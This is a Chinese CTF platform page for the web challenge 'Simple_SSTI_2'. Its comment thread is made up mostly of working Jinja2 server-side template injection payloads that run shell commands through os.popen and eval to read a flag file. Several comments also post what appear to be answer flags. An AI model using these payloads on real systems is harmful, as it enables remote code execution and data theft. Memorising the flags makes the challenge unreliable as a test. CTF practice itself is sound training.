Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一　　血: Tokeii
一血奖励: 3金币
解　　决: 16545
提　　示:
描　　述:
Simple_SSTI_2
...
登录回复
评论
DK2021 3年前
举报

/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

回复 1
453137 3年前
举报

flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

回复 0
earlyyue 3年前
举报

/?flag={{lipsum.__globals__.os.popen('cat /app/flag').read()}}

回复 4
氕氘氚 3年前
举报

flag{0c6e1431cbe4e002c413bcaa0e5dfa51}

回复 0
mcreterro 3年前
举报

flag{e4b09223a5f6e916f2865c0548458616}

回复 0
T0ybox 3年前
举报

flag{bced55366c4d2bffa9715f2563a2799b}

回复 0
Joyoo 3年前
举报

flag{0c1223db987a466bc858703ed23bc157}

回复 0
Just play 3年前
举报

没错 /?flag={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}

回复 0
love jxm 3年前
举报

构造/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}，即可得到flag

回复 0
swordheart 3年前
举报

/?flag={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval("__import__(%27os%27).pop

回复 0

WriteUp

image
valecalida

5 金币

立即查看

评分(15)

解题动态

薄言. 攻破了该题 1天前
Zfc 攻破了该题 1天前
周文君 攻破了该题 2天前
杰哥 攻破了该题 3天前
zhaoguanjei 攻破了该题 4天前
tqlhg 攻破了该题 4天前
GrantFly 攻破了该题 6天前
yezhongyu 攻破了该题 6天前
heting 攻破了该题 6天前
y-123456 攻破了该题 7天前
271199@ 攻破了该题 8天前
dacming9527 攻破了该题 8天前
ggtom 攻破了该题 9天前
1586905095 攻破了该题 9天前
serena7780 攻破了该题 12天前
CTF-大王 攻破了该题 16天前
Ahri 攻破了该题 16天前
奥特曼 攻破了该题 17天前
SQZ 攻破了该题 17天前
wuyong5025 攻破了该题 19天前
问题反馈